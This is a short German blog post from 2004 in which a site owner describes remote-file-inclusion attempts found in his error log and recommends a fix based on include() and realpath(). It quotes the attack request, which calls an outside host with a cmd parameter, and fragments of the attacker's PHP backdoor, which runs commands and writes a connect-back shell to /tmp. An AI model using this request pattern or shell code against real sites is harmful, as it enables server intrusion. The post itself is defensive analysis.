Thiemos Archiv
- Thursday, 2004-10-07 09:36
- Da muss jemand ganz viel Langeweile bzw. einen dämlichen Roboter haben. Folgender (in meinem Fall selbstverständlich wirkungsloser) Aufruf taucht gleich duzendweise im Fehlerprotokoll meiner Webpräsenz auf:
index.php?page=http://www.irs-online.it/guns/spy.gif?&cmd=ls /
. Unter dieser Adresse findet sich ein PHP-Skript mit diversen systemnahen Angriffsszenarien inklusive Installation von Shellskripten (stark gekürzt):<?phpLächerlich, aber dennoch gefährlich. Oft ist zu lesen, dass man zur Verhinderung solcher Angriffe
$dono = get_current_user();
$login = posix_getuid();
exec($cmd);
[...]
$fp = fopen("/tmp/dc-connectback.c", "w");
fwrite($fp, $shell);
[...]allow_url_fopen
abschalten solle.Das ist Unsinn.Das hilft zwar, ist aber eigentlich nur ein schneller, schmutziger Workaround. Das Problem ist nicht der "URL fopen wrapper" sondern die unsachgemäße Verwendung voninclude()
. Das Einlesen einer fernen Datei führt sie tatsächlich aus. (Bei meinen ersten Tests hatte ich der fernen Datei versehentlich die Endung .php gegeben, was sie schon dort zur Ausführung brachte.) Empfehlung: Einfach aus jedeminclude($page)
eininclude(realpath($page))
machen. Fertig. Kommentare zu diesem Beitrag können per E-Mail an den Autor gesandt werden.
Habe ich schon erfolgreich testen können, zumindest mit PHP 4.3.irgendwas. Es geht also alles ohne Benutzung von eval().